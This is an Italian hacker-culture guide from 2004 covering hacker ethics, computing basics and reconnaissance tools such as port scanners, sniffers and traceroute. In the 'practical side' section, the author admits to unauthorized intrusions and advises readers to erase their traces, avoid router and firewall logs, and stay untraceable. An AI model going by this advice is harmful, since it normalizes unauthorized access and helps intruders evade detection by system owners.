Gli Arcani Della Rete Storia di un mondo senza frontiere

annuncio pubblicitario
Gli Arcani Della Rete
Storia di un mondo senza frontiere
Scritto da:
..::[- JARRET -]::..
Master and Member of Hacker Alliance Crew
http://www.hackeralliance.net
[email protected]
Milano - 2004, il 20 Gennaio
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
2
G A
D
R
li rcani
ella
ete
Storia di un mondo senza frontiere
Prefazione
Ebbene si, sono riuscito a trovare un angolo del mio tempo per scrivere questa megaguida
perché mi sono stancato di come sta funzionando l’underground italiano. Tutto appare
molto confuso ultimamente, anzi direi quasi che molti non hanno capito ancora che cosa è
un Hacker e che cosa questa persona fa quando mette le mani sul computer.
Ho deciso di scrivere questo libro “intarsiato” di tutorial e guide scritte in anni di piena
full-immersion nel mondo dell’informatica per uno scopo ben preciso.
Voglio far capire alla nuova generazione che cos’è la cultura hacker e quanto sia
importante, specialmente in quest’ultima era decadente, e senza ideali.
La libertà di parola e di espressione è ciò che ci siamo conquistati in anni, secoli di guerre.
Oggi la guerra per la libertà continua ad essere circondata da altissime mura che non
mostrano il loro lato oscuro…
Gli hacker hanno fatto i più grandi cambiamenti di questo secolo e hanno reso possibili
miracoli tecnologici come i primi computers, i modem, la realtà virtuale… Oggi invece,
come per tutte le cose, la realtà dei fatti è cambiata. Gli hackers per i media sono
diventati dei criminali, per i ragazzi dei miti viventi, per la tv dei ragazzini che digitano due
comandi sul pc ed entrano nei sistemi di sicurezza del Pentagono. Tutto è stato manipolato
e reso disgustosamente commerciale e privo di ideali. Ma di tutto questo, la cosa che mi
sconcerta più di tutte è che gli hacker del giorno d’oggi abbiano paura a dire chi in realtà
sono e cosa fanno. Il motivo credo sia anche molto semplice da capire… La paura di essere
visto ed etichettato come un criminale non piace a nessuno, ma penso che se qualcuno
non si decide ad uscire dal “ghetto” non si verrà mai a capo di nulla. In fondo che cosa fa
un hacker? Cominciamo ad analizzare questo termine… Che significa HACKER? Bhè, ad
essere sincero ne ho lette di tutte le salse: smanettane, aggiratore di ostacoli, pirata,
criminale informatico… Mi sembra possano bastare… Ma la realtà è diversa. HACKER è un
termine inventato da uno scrittore, tutto qui. Non è il nome con cui è archiviato un dossier
dell’FBI sul conto di qualche giovane pirata che si è infiltrato nella NASA o altro.
Negli ultimi tempi c’è stato un proliferare di siti internet dedicati all’hacking che quasi
diventa impossibile capire cosa davvero sia diventato l’hacker e tutto ciò che ne consegue.
Ho visto siti che si spacciavano per siti hacker e poi al loro interno trovavi programmi
inutili come ICMP Bomber, Nuke e altre cazzate del genere che tra le altre cose
funzionavano (forse) fino a qualche anno fa quando tutti avevano montato sistemi
operativi come Win95.
Altra cosa che non ho mai digerito è vedere come in realtà, l’insieme di tutti i presunti siti
hacker che si trovano in circolazione fanno un insieme di contenuto pari a un solo sito!
Per farla breve, se vedete un sito di questo genere, li avete visti tutti.
Consiglio sempre di inserire tra i preferiti i due siti www.bismark.it e
www.crackinguniversity2000.it . Quest’ultimo lo reputo il massimo assoluto che in Italia si
possa trovare sulla rete per quanto concerne l’hacking e il cracking. Ma purtroppo questi
due siti sono solo casi isolati… Questo è l’Hacking in Italia.
In Italia dove l’unico problema serio è far cadere uno connesso a IRC, crackare l’account
della fidanzata o dell’amico per fargli qualche scherzo o peggio ancora per farsi belli.
Mettetevi in testa che QUESTO NON E’ HACKING!
L’Hacking è un’arte, e non c’entra nulla con programmi tipo Nuke & Co.
Ma ora basta con questi discorsi, il mio unico scopo è quello di indirizzarvi e di farvi venire
2
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
3
voglia di apprendere quest’arte che molti giovani stanno travisando e alcuni “vecchi”
dimenticando…
Quindi ricordate, questa è una guida che tratta vari argomenti senza ordine logico.
Sono per lo più una serie di mie scoperte personali e quelle di altri passate sotto la mia
analisi.
Troverete alcuni chiarimenti, e mentre vi accorgerete che più tutto vi sembrerà poco a
poco più chiaro, nuove domande vi si affolleranno nel cervello…
Non mi dilungherò in Disclaimer che non servono assolutamente a tutelare chi scrive un
articolo o un trattato. Non voglio la solita retorica che siamo soliti vedere su tutorial che
troviamo in giro per la rete. E’ ovvio che ognuno è responsabile delle proprie azioni come
è ovvio che non si dovrebbe dire in giro che la polizia utilizza determinate tecniche per
acchiappare pericolosi fuorilegge… E invece I giornalisti con il loro solito modo di fare (sul
quale è meglio che non mi esprima) pubblicizzano tutto, anche se viene ovvia una
domanda: ma non era meglio mantenere il segreto?
Lo stesso si può dire dell’informatica, ma con questo tipo di ragionamento, se tutto
andasse sempre bene così come nasce, saremmo ancora fermi al Commodore Vic 20…
Quindi, ribadisco che la responsabilità di quanto leggerete d’ora in avanti non è mia né
vostra, ma piuttosto delle case produttrici di software che non hanno mai imparato come
si fanno i test sui loro prodotti.
Vorrei che questo sia anche un monito per tutti gli analisti programmatori che spesso
tralasciano certi test perché messi sotto pressione dalla velocità di produzione che certi
“esperti di marketing” esaltano come se fosse una bandiera. A tutti questi “grandi laureati”
che non capiscono assolutamente nulla (sono ignoranti sul lato pratico delle cose),
consiglio di prendersi una settimana di riflessione (per chi ha un cervello che lavora ancora
a cilindri perforati consiglio anche un anno sabbatico intero) e di provare a passare dalla
parte produttiva della società per capire la realtà delle cose.
Quindi pensateci su. Chi davvero deve sentirsi responsabile? Voi ed io perché siamo alla
ricerca della verità? Noi che vogliamo anticipare l’azione dei lamer e quindi far correre ai
ripari le software house? …Bhé, pensateci su.
-----------------------------------------------------------BREVE PANORAMICA SUL LINGUAGGIO BINARIO
Sarà un discorso pesante, sarà un mattone, sarà quello che volete, ma è indispensabile
capire come ragiona un computer nella sua più intima natura.
Il computer è l’unione di due elementi fondamentali:
- Hardware (La parte fisica, ovvero i circuiti, le schede, i dischi e le varie periferiche)
- Software (L’anima del computer. Senza software il pc non è altro che un insieme di
circuiti senza funzioni. Il software è inteso sia come sistema operativo che come
programma a sé).
Ma come fa il software a comunicare con l’hardware e viceversa?
La storia del computer è costellata da scoperte fra le più incredibili che la mente umana
abbia saputo fare. L’era dei primi calcolatori sembra un epoca del passato remoto, mentre
in realtà tutto si è svolto ed evoluto nell’arco di appena 50 anni di storia.
I primi calcolatori erano rumorosissimi scatoloni (grandi come stanze) che riuscivano ad
eseguire calcoli che impegnavano solo una piccola manciata di bit di memoria.
Ricordo ancora quando mi regalarono un libro, avevo 9 anni, il mio primo VERO libro:
3
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
4
“Informatica”, forse avevano capito che era meglio “intontirmi” con un libro sul mio
argomento preferito invece che rimproverarmi per la mia innocente mania di smontare
tutto ciò che fosse elettronico…
Lessi quel libro e subito capii una cosa fondamentale, sin dalle prime pagine:
il computer “capisce” solo due diverse frequenze elettriche, una positiva (1) e una
negativa (0). Si, il computer non sa interpretare un comando come FORMAT se prima non
gli fai capire una marea di altre cose prima di giungere a quel comando…
Vi faccio un esempio.
Tutto si basa sul concetto delle cariche positive e negative, come detto prima, ma come
viene sfruttato questo? Semplice, ma facciamo un salto indietro nel passato, molto
indietro sino a giungere alla trasmissione dati più moderna e al tempo stesso più antica: il
codice morse.
Il codice morse si basa anch’esso su due unici simboli e cioè un segno breve (.)
e uno lungo (-).
Attraverso il codice morse possiamo trasferire dati di qualsiasi mole tra trasmittente e
ricevente. La stessa cosa, applicata al computer, viene effettuata tramite piccole scariche
elettriche su supporti magnetici. Torniamo ai nostri 1 e 0…
Per identificare un numero o una lettera dell’alfabeto il computer è stato istruito a
rispondere con un output (vedremo più avanti il concetto di input e output), cioè una
risposta ad una immissione di dati, attraverso sequenze di soli due numeri 1 e 0, positivo
e negativo che corrispondono a:
1 : una scarica elettrica (di infimo voltaggio)
0 : nessuna scarica elettrica
Se noi diciamo al computer che la lettera “A” corrisponde alla sequenza di 1010, esso
risponderà con un output cioè con la visualizzazione di una “A” sul nostro monitor.
Vogliamo fargli scrivere “AB” sul monitor? Ecco il suo corrispondente in cariche positive e
negative: 1100 1011. Come si genera l’output sul monitor? ..vi verrà da pensare ora…
Semplicissimo. Il nostro monitor è suddiviso in milioni di microcelle chiamate PIXEL (una
volta erano solo qualche centinaio) che anch’esse rispondono a cariche positive e
negative.
Bene, a questo punto in base alla posizione sullo schermo (in forma binaria sulla posizione
del testo) in base al colore del carattere (in forma binaria sul colore), ecc, il computer dirà
al monitor di eseguire l’accensione di determinati pixel sul monitor proprio come in una
battaglia navale per farvi un’idea… Detto così può sembrarvi troppo semplice, e in effetti è
proprio così. Questa spiegazione è semplificata al massimo. Se avessi voluto andare nel
dettaglio avrei dovuto parlare di driver, di input e output nel dettaglio, spiegarvi le sintassi
di trasmissione dati che avvengono durante la visualizzazione su monitor ecc..
Naturalmente per questo argomento fate prima ad andare a comperare un libro di
informatica e studiare lì, qui non c’è spazio materiale per un discorso di questa grandezza.
SISTEMA OPERATIVO
Quello che noi oggi chiamiamo sistema operativo è quello che un tempo veniva definito
grosso modo “sequenza di comandi memorizzati su circuiti integrati in grado di far
funzionare l’intero apparato…”. Il concetto oggi è pressoché identico, ma con un’unica
eccezione. Fino a qualche anno fa cambiare sistema operativo significava cambiare
totalmente computer, e il discorso era inverso. Nessuno oggi penserebbe di cambiare
computer solo per cambiare sistema operativo (a parte qualche eccezione), ebbene, un
tempo si. Il sistema operativo risiedeva all’interno dei circuiti integrati ed era parte
integrante dell’intero sistema. Il sistema era gestito dai microchip interni pre-programmati
quindi non era possibile formattare o passare dal sistema operativo 1 al numero 2 senza
cambiare computer. Cose passate.. oggi si può cambiare sistema operativo anche una
4
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
5
volta al giorno o addirittura montare più sistemi su un’unica macchina.
Analizziamo ora nel dettaglio il funzionamento di queste funzioni.
Abbiamo un computer, quello che vediamo è l’hardware, il software è la parte “invisibile” e
cioè il sistema operativo e i programmi. Un tempo, i computer erano progettati per avviare
un programma leggendolo da nastro o da cilindri perforati. Una volta inserito il programma
che si voleva utilizzare bastava digitare il comando READ per far leggere al computer il
programma da eseguire con il comando GO e terminare con il comando HALT.
Un giorno però iniziarono i problemi… Molti iniziarono a scrivere per conto loro i
programmi da utilizzare sulle proprie macchine e si presentò un problema non indifferente.
Ogni programmatore utilizzava il linguaggio a lui conosciuto, ma non per questo voleva
dire che tutti i computer potessero interpretare tutti i linguaggi esistenti…
Ecco allora che prima di caricare un programma si iniziò ad utilizzare un altro programma
da eseguire prima di quello da utilizzare, in poche parole un interprete di linguaggio in
grado di tradurre in linguaggio macchina comprensibile al computer.
Naturalmente questo procedimento portava via un sacco di tempo, e spesso richiedeva più
tempo dell’esecuzione effettiva del programma.
Fu così che si pensò di inserire direttamente un interprete per i linguaggi di
programmazione all’interno del computer. In questo modo la procedura diventò più
veloce.
A poco a poco a questo concetto di pre interpretazione di diversi linguaggi si affacciò
all’orizzonte per la prima volta l’idea di creare un sistema in grado di gestire in automatico
operazioni che sino ad allora dovevano essere gestite manualmente, come il caricamento
dell’interprete di linguaggio, il programma ecc.. Nacque così il Sistema Operativo.
Un ambiente per la prima volta in gradi di gestire programmi in modo automatico.
L’evoluzione del computer era iniziata. Da allora si iniziò a pensare davvero in grande e
proprio colossi informatici come Microsoft fecero la loro fortuna producendo il primo
sistema operativo per computers IBM. Lasciamo stare che Bill Gates riuscì a vendere un
sistema operativo che ancora non aveva in mano, ci riuscì e basta.. Il sistema operativo in
questione era il DOS.
Dos era (e lo è ancora) un ottimo sistema operativo per tutti coloro che vogliono
comprendere il funzionamento a basso livello del computer.
Dos è un sistema che funziona tramite specifici comandi da editare direttamente dal
prompt. Volevi scrivere un testo? Dovevi digitare EDIT testo.txt, e per leggerlo TYPE
testo.txt.
Ancora oggi i sistemi operativi come Win95 e 98 si basano sull’uso a basso livello del Dos.
Senza Dos una macchina con montato Win95 non funzionerebbe.
Oggi sui recenti Win2000 fino all’ultima generazione di sistemi operativi come WinXP viene
utilizzato un emulatore (non fatemi l’errore di chiamarlo DOS!) che è possibile richiamare
con il comando CMD da Start > Esegui.
HACKING
Per anni ho osservato nell’underground una profonda carenza di ideali e di etica morale.
Tutti vogliono tutto e subito senza sforzarsi a capire la realtà delle cose. Essere Hacker per
molti significa sfondare le protezioni di server digitando qualche password a caso e poi per
magia ecco che il server accetta il remote login e da accesso root. Se avete questa
concezione dell’Hacking significa che avete visto il film HACKER o Codice Swordfish, o
meglio ancora HACKER WARGAMES. Ebbene, mi spiace deludervi ma L’hacking non è
niente di tutto questo. L’hacking è all’60% studio, al 40% è pratica. Ma lo studio di che
cosa? La pratica di cosa? Analizziamo nel dettaglio.
Lo studio: non si diventa hacker nel giro di due giorni che possediamo un computer
5
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
6
(quando non ne abbiamo mai visto uno prima) e proviamo assiduamente di entrare in
qualche server remoto senza nemmeno avere una connessione a internet! Ebbene si, ho
visto anche questo… Un po’ di tempo fa un amico tentava di entrare nel Server della NASA
senza nemmeno avere la connessione dial-up, digitando su Gestione risorse “NASA”,
“Goto NASA”…
Si compiaceva del fatto che i suoi genitori, quasi per sfotterlo diciamoci la verità, lo
avevano ribattezzato “hacker”.
Non ho mai voluto infierire, lui era contento così, magari poi ce l’ha anche fatta, forse nei
suoi sogni… Scordatevi immagini a video fantascientifiche create dal computer che vi
mostra codici binari che scorrono appena entriamo in un sistema o paesaggi psichedelici
da attacco di LSD (vedi il film HACKER) perché:
primo, non esiste nessun sistema operativo che mostra cose del genere, secondo, sarebbe
una perdita di tempo per gli sviluppatori, insomma, non serve assolutamente a niente.
Abbiamo fatto di tutto per creare la realtà virtuale per avvicinarci sempre di più alla realtà
materiale delle cose (vedi le icone del cestino, del Pannello di controllo, o anche solo
l’analogia computer = archivio) quindi figuriamoci se qualcuno si prende la briga di
ricreare paesaggi di quel tipo quando può semplicemente usare una chiamata API come
quello appunto del Login, o scenari in cui scorrono codici binari… tutte balle.
Purtroppo, l’hacking è anche frustrazione e molto spesso odio del pc più che amore.
Questo è ciò che io ho provato in un determinato punto della mia vita, ma non è un
argomento da affrontare qui.
Torniamo ai fondamenti, e cioè a cosa dobbiamo capire prima di addentrarci in questo
mondo.
Cosa studia un hacker? L’hacker non diventa hacker, l’hacker è un’evoluzione quasi
naturale di un individuo che ha deciso di far della sua vita uno strumento di ricerca e cioè
la ricerca della verità e dei fondamenti dell’informatica. Manipolare kernel, destreggiarsi
con la programmazione e rendere migliori le cose. Nulla ha a che vedere con entrare nei
sistemi informatici altrui e distruggerli.
Molto spesso si è propensi nel credere che un hacker si diverta a violare sistemi di
sicurezza per mostrare quanto egli sia bravo, esiste anche questo, ma la realtà è diversa,
in questo caso parliamo di cracker e non di hacker.
Se io non ho nessun motivo di violare un sistema di sicurezza non lo faccio.
Se mi viene chiesto di farlo per testarlo è un altro discorso, lo faccio di lavoro, ci
mancherebbe...
Può in altri casi scattare la molla che mi faccia desiderare di comprendere il funzionamento
di un nuovo tipo di server e allora in quel caso potrei anche farci un pensierino…
Ma ripeto ancora una volta, se mi ritrovo come root di un sistema non faccio nessuna
modifica né mi intrometto nei dati riservati degli utenti (sempre a meno che non abbia un
motivo più che valido per farlo). La mia ricerca è semplicemente formativa. Posso
scaricare qualche file di sistema per studiarmelo in un secondo momento, posso semmai
lasciare un messaggio all’amministratore di sistema con scritto in modo dettagliato come
ho fatto ad entrare e come poter riparare alla falla della sicurezza che ho sfruttato. L’etica
è molto importante. Se siete di quei tipi che hanno pensato leggendo queste righe “io
avrei fatto un po’ di casino con i daemon” allora lasciatevelo dire, siete dei pirla che non
hanno capito niente né dell’hacking né di come va la vita…
So che se mi ci metto divento logorroico, scusate, avevo quasi perso il filo del discorso…
Tornando a noi.
Cosa dobbiamo sapere inoltre? Una cosa basilare è la struttura del protocollo TCP/IP.
Come vengono scambiati i dati in una rete? Se studiate il protocollo TCP/IP lo saprete, e
questo vale per capire le reti INTERNET, INTRANET, LAN, WAN, VPN, reti Neurali…
Cosa non da meno è un’infarinatura generale dei seguenti…….
6
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
7
- linguaggi di programmazione:
C e C++ :
Vi permette di arrivare a programmare a basso livello, il che non significa “programmare
con livello di conoscenza basso”, ma significa programmare il computer nel suo più intimo
angolo.
E’ il linguaggio per eccellenza utilizzato dalla stesura di progetti di immense proporzioni
come sistemi operativi agli exploit.
PERL:
Con PERL sarete in grado di arrivare a scrivere applicazioni per CGI, scrivere exploit mirati
al test degli stessi e a creare piccoli script di automazione. E’ un linguaggio di scripting
molto importante.
ASSEMBLER:
Con Assembler potrete “parlare” direttamente con l’hardware del computer, un amico,
Flavio Bernadotti, dice sempre che tutti i linguaggi alla fine portano all’assembler. Niente
di più vero. Se con il C parli con gli angoli più segreti del PC, con Assembler parli
direttamente alla sua anima…
ADA:
Amo ADA. :-) E’ un linguaggio simile al C con il quale è possibile creare procedure ferree
nelle quali è assolutamente indispensabile avere la piena sicurezza e stabilità di lavoro.
Non è facile interfacciare ADA, spece quando si lavora con sistemi Microsoft… La cosa
migliore è usarlo sotto Unix. E’ estremamente difficile trovare guide in italiano che
insegnino la programmazione per questo linguaggio, ed è anche estremamente difficile
trovare un compilatore con le sue librerie! Dove viene impiegato ADA? Vi brilleranno gli
occhi… Strumentazioni militari, strumentazioni di bordo navali e aeree, e su tutte quelle
strumentazioni che hanno come prerogativa finale quella di essere utilizzate laddove un
errore della macchina potrebbe mettere in serio pericolo vite umane. Non troverete MAI
un programma in VB o in Delphi su un radar di terra, ma ADA, Fortran o C.
VISUAL BASIC:
E’ utile, anche se non indispensabile. Con Visual Basic potrete creare applicazioni per
gestire data-base. Inoltre potrete creare exploit-consolle e tantissime altre utility, che
aguzzando l’ingegno potrete creare per usi personalizzati. Ma cosa molto importante di
questo linguaggio, è che potrete creare applicazioni client server con estrema facilità una
volta che avrete imparato a destreggiarvi con il linguaggio. Un suggerimento, se decidete
di addentrarvi allo studio di questo linguaggio di programmazione, imparate ad usare bene
le API, perché per quello che da a disposizione Microsoft come controlli client-server,
lascia un po’ a desiderare…
LOGO:
Questo è un linguaggio di programmazione “simpatico”, molto semplice e versatile. E’ nato
anni fa per insegnare ai bambini ad utilizzare il computer, oggi in alcuni casi è impiegato
nella robotica…
- Per quanto riguarda i sistemi operativi, è necessario conoscere UNIX (FreeBSD) o sistemi
UNIX-LIKE (Linux) e saper utilizzare le sue SHELL. Conoscere i sistemi Microsoft NT. Non
sarebbe male avere un po’ di dimestichezza anche su sistemi VMS.
- Struttura e programmazione dei Protocolli.
Il lato pratico:
ebbene si, nella mia “carriera” ho violato dei sistemi di sicurezza, ma tengo a precisare di
non aver mai fatto dei danni.
Una volta capito che l’esistenza di un bug potrebbe distruggere un sistema, mi fermo e
rifletto. “Cosa faccio?” A questo punto le strade sono due:
7
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
8
Mi accerto se il bug sia già conosciuto o no. Se il bug è conosciuto e già esistono patch per
richiudere il buco allora il procedimento è semplice. Scrivo un bel txt del tipo:
”Ho testato il vostro sistema e ho trovato una falla qui: ******* Ho utilizzato questo
exploit (non è cosa sgradita allegare il source dell’exploit utilizzato).
Vi consiglio di scaricare la patch da www.pippopippo.com per poter riparare la falla..”
Ad essere sincero sono pochi quelli che mi hanno ricontattato, ma in ogni caso ripassando
sui server precedentemente visitati, ho notato con piacere che l’exploit utilizzato l’ultima
volta non funzionava più … E vi assicuro che è una soddisfazione quando vedi, anche se
non te ne rendono partecipe, che il tuo aiuto è risultato preciso al punto da riparare un
potenziale punto di rottura di un sistema operativo.
Cosa succede invece se quel bug non è documentato? A questo punto la cosa migliore da
fare è contattare l’azienda che produce il software e specificare il problema. Contattare
subito chi è stato attaccato per dire che utilizza un sistema buggato senza possibilità
d’appello non è molto bello… Anche perché solitamente da lì la voce gira, gira troppo e
ovunque fino a raggiungere anche chi non ha troppi pregiudizi a “testare” il bug per i
propri scopi o peggio ancora per conto di terzi…
Come potrete certamente capire l’hacker fa questo e solo questo di potenzialmente
illegale. Cosa? Vi siete persi vero? State già travisando la differenza tra lecito e illecito?
Bene, ve lo spiegherò subito. Violare un sistema, per qualsiasi motivo lo facciate è reato
se non richiesto espressamente dal proprietario o dall’amministratore del sistema a scopo
di test.
Vi ricordo che comunque trovare il sistemista di rete che accetta di essere aiutato sotto
banco da un hacker è difficile, ma non impossibile. Quindi un consiglio di vero cuore è
quello di cancellare sempre il segno del proprio passaggio e di rendersi invisibili. Da un
nick è possibile risalire alla persona, ma anche qui la cosa prende diverse sfumature.
Un esempio è il celebre assalto alla rete di S. Gibson che è riuscito a risalire all’aggressore
grazie al nick con cui si firmava nelle sue “scorribande”, nelle mail e in chat, sempre lo
stesso.
E’ cosa risaputa ormai che i LOG sono la prima minaccia per un hacker… Ma è anche vero,
che a volte, anche cancellando tali file, non si risolve nulla. Vi ricordo che non esistono
solo i log del sistema operativo tracciati dai vari AdminTools, ma esistono anche i log dei
router, e dei firewall che una volta loggato l’hacker inviano tutti i dati inerenti all’intrusione
nell’intranet locale e se la cosa può cogliervi impreparati, ditemi poi come diavolo ve la
sbrigate se scoprite questo quando ormai siete dentro e non conoscete il modo di entrare
nell’intranet… Non è bello trovarsi davanti ad una richiesta di logon per accedere ad un
dominio della rete e capire solo in quell’istante che questo non ve l’aspettavate…
Ovvio che non tutte le reti sono così ben configurate, ma se avete fatto delle ricerche
prima di capirlo quando è troppo tardi, potrete tranquillamente bypassare qualunque
ostacolo. Ricordatevi che non si “prova” a violare un sistema senza prima averne estorto
più informazioni possibili. Nel momento in cui vi apprestate a sfondare il sistema di
protezione dovete essere sicuri di quello che fate. In linea di massima, se siete diligenti e
mascherate a dovere le vostre tracce, potrete anche allentare la presa delle chiappe…
Un’altra cosa.. Per l’amor del cielo non lasciate il vostro nick di guerra ovunque e
tantomeno non lasciate scritte frasi idiote (l’amministratore potrebbe incazzarsi davvero e
se non è un idiota vi può anche trovare senza problemi). Mettetevi in testa che siete dei
fantasmi, voi non esistete, voi non siete nulla, voi non siete mai stati lì. Niente e nessuno
deve essere in grado di rintracciarvi. Al massimo può essere intuito, ma nulla di più. Se vi
firmate “Superwarrior” e lo stesso nick demente lo usate tutti i giorni anche in chat per
vantarvi delle vostre scorribande, aspettatevi il giorno dopo qualcuno bussare alla vostra
porta di casa. Ci sarà davanti un variopinto stuolo di gente che vi vorrà fare il mazzo.
8
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
9
GLI STRUMENTI:
Navigando nella rete vi sarà senz’altro capitato di imbattervi in siti che vi offrono
gratuitamente un ben di dio di programmi “hacker” come Click, DdosPing, Nuke ecc.. Bhé
se fino ad oggi li avete usati, dimenticateli, anzi selezionateli tutti, premete Shift+Canc e
liberate un po’ di spazio dal disco. Perché vi dico questo? Perché fino a un po’ di tempo fa,
avevo letto su un sito “hacker” di uno che voleva abbattere i sistemi di sicurezza di
Symantec.com a colpi di Click e Nuke. Inutile dire che ho riso fino a quasi farmi esplodere
le coronarie…
Questi programmi non servono a nulla, anzi, solitamente si ottiene solo l’auto flood
dell’aggressore. Altri invece sono pieni di trojan che appestano il pc del beone di turno che
crede di impossessarsi di segreti militari pingando a morte un sito .mil
Gli exploit sfruttati da quelle consolle sono stati tutti risolti con le patch rilasciate dalle
case produttrici di software, e poi anche perché i sistemi operativi vulnerabili a quei tipi di
attacchi oggi non sono più utilizzati come un tempo. Parlo di Win95, qualche caso
sporadico su Win98 prima edizione, e le edizioni precedenti WinNT 4.
Ora che avete fatto pulizia di quei programmi (spero lo abbiate fatto davvero) dovrete
procurarvi un bel po’ di questi strumenti se volete iniziare a fare sul serio:
1. I PORT SCANNER
Fondamentali, questi strumenti sono in grado di interrogare il target su tutte le porte alla
ricerca di vie di comunicazione aperte. I requisiti fondamentali di un buon port scanner
sono tre: deve essere in grado di gestire dei Delay differenti, deve dare la possibilità di
scansionare dei range di indirizzi IP, deve dare la possibilità di analizzare settori di porte
differenti, ad esempio dalla porta 2876 alla 4098 senza dover necessariamente partire
dalla porta 1 ad arrivare alla 65530.
Per capire quali servizi siano attivi su un determinato target esistono migliaia di strumenti
reperibili in rete. Alla famiglia degli Scanner si aggiungono anche tutti quegli strumenti che
compiono una ricerca su un range di indirizzi IP o su un unico target di punti vulnerabili.
Esistono: Port Scanner, CGI Scanner, NetBios Scanner, Trojan Scanner, ecc.. Per ora ci
serve solo uno scanner semplice per porte.
Il compito dei Port Scanner è quello interrogare tutte le porte di un obiettivo e tentare una
connessione su di esse, una ad una.
Quando la porta non risponde significa che questa è chiusa o non attiva in quel momento,
se la porta è aperta, il port scanner risponderà con un piccolo messaggio dove sarà
indicata la porta aperta.
Quindi, procuratevi subito un Port Scanner che sia in grado di enumerare le porte anche
facendo scansioni mirate in un range di porte senza dover necessariamente partire dalla
prima per arrivare all’ultima porta.
Ma ora vediamo cosa possiamo scoprire con una semplice scansione delle porte.
Prima di tutto possiamo individuare dispositivi di rete come i router (come detto prima in
merito ai traceroute), possiamo rilevare la presenza di un firewall.
In quest’ultimo caso possiamo infatti notare che quasi tutte le connessioni verranno
rifiutate dal firewall (se questo è configurato in modo corretto. Ma non sempre, quindi
occhio al papero.
2. SNIFFER DI RETE
Gli Sniffer di rete sono dei particolari programmi che permettono di analizzare il traffico
dei pacchetti a basso livello tra i computer. Con uno sniffer saremo in grado di leggere
all’interno di ogni singolo pacchetto inviato e ricevuto sulla rete. Aguzzate l’ingegno… se
con uno sniffer vedo tutto in chiaro cosa posso vedere anche? .. non siate venali, so che
9
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
10
avete pensato subito alle password, si anche, ma non solo! Potrete vedere in chiaro i
comandi che non siamo abituati a digitare a consolle perché ci sono i programmi che fanno
tutto questo per noi. Ricordate, i comandi sono la prima cosa che vi devono interessare.
Consiglio sempre, a chiunque mi chieda quale sia uno Sniffer affidabile, il programma
CommView.
3. UN GENERATORE DI PACCHETTI
Che roba è?!? Si lo so, se eravate abituati a cimentarvi in “pericolosissimi quanto
estenuanti attacchi D.o.S. con panther” la cosa potrebbe suonarvi strana. Cos’è un
generatore di pacchetti? Altro non è che una consolle in grado di generare pacchetti TCPUDP-ICMP (e chi più ne ha più ne metta) e di trasmetterli a un Host. Otterremo sempre
una risposta dal computer remoto, noi possiamo monitorare, in base al pacchetto inviato,
qual’è la risposta che ci giunge e trarne informazioni molto utili se non indispensabili. Per
catturare pacchetti a basso livello consiglio sempre di utilizzare ComView che tra l’altro
permette di creare pacchetti completamente personalizzabili e di leggere all’interno dei
singoli pacchetti inviati e ricevuti.
Questo si rifà al punto 2.
4.TELNET
Ecco uno strumento senza il quale non andate da nessuna parte. Questo programma lo
trovate integrato ai sistemi operativi in commercio (e non). In Windows basta digitare
Start > Esegui, scriviamo TELNET e ci apparirà la consolle dei comandi. Dalla shell di Unix
basta digitare “Telnet”
Alcuni credono che Telnet serva solo per utilizzare il bug dei remailer (che oggi sono tutti
patchati e quel bug è praticamente inesistente ormai), mentre invece, con telnet possiamo
fare davvero TUTTO. Ogni singola trasmissione dati tra due PC (o più) è gestita da
comandi terminale che noi potremo utilizzare da telnet qualora non disponiamo di
programmi adeguati alle nostre esigenze. Lo sapevate che con Telnet possiamo addirittura
trasmettere e ricevere dati da un server IRC? Certo, possiamo chattare usando telnet, ma
qualunque cosa noi scriviamo ha bisogno del suo comando per funzionare. Lo sapevate
che con telnet possiamo collegarci ad una shell remota, emulare FTP e utilizzare i dati di
questo protocollo? Lo sapevate che possiamo riprogrammare un Router, un firewall, o un
modem da telnet?
Con Telnet si fa TUTTO. Vi consiglio giusto qualche Telnet che trovate con facilità su
www.tucows.com : Putty, Absolute Telnet.
Per quanto riguarda Hyper Terminal invece, potete usare quello di windows che trovate in
Start>Programmi>Accessori>Comunicazioni>HyperTerminal.
Che differenza esiste tra TELNET e HYPER TERMINAL? Poche differenze, ma ben distinte,
una delle quali è che con Telnet possiamo stabilire una connessione locale o remota
richiedendo solamente Indirizzo IP o nome Host più il numero della porta, mentre con
Hyper Terminal possiamo stabilire una connessione con un terminale remoto componendo
un numero telefonico. Ovvio che il terminale remoto deve essere abilitato a ricevere le
chiamate.
Inoltre è possibile collegarsi direttamente alle porte Com…
5. TRACEROUTE:
Guai a chi si ostina a dire che Traceroute serve sono per vedere dove è collocato
fisicamente un determinato target a livello geografico.
Con Visual Route (www.visualware.com) ci siamo abituati anche a questo, ma questo
strumento non serve solo a questo scopo.
Senza traceroute noi non potremmo sapere che tipo di dispositivi abbiamo oltrepassato
prima di arrivare a destinazione, e ciò, se sottovalutato potrebbe essere molto grave…
10
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
11
Mettiamo ad esempio di voler tracciare un obiettivo: 62.10.10.33 (indirizzo IP casuale).
Possiamo utilizzare MS-DOS con la sintassi tracert 62.10.10.33, oppure usare VisualRoute,
o ancora, il traceroute che trovate nella cartella utility (traceroute.zip) da compilare sotto
Visual Basic 6.0.
In rete comunque trovate una marea di traceroute per tutti i tipi.
Una volta che avrete tracciato l’obiettivo dovrete anche saper leggere il report generato
dal traceroute. Non basta dargli un’occhiata e dire “ok, il computer c’è, ok il computer è
situato lì.”
** Una schermata di Visual Route
Analizzare il report di traceroute
Ora che il traceroute si è fermato possiamo iniziare a dare un occhio al report generato.
Nei primi passaggi appare sempre al primo posto in nome e l’indirizzo IP del nostro
computer, cioè il primo punto da cui è passato il pacchetto che ha tracciato poi in seguito
tutto il percorso sino al target finale.
Il secondo punto di passaggio solitamente è il nostro ISP seguito da al massimo altri uno o
due punti di passaggio che si riferiscono sempre alla rete remota del nostro ISP di servizi
internet.
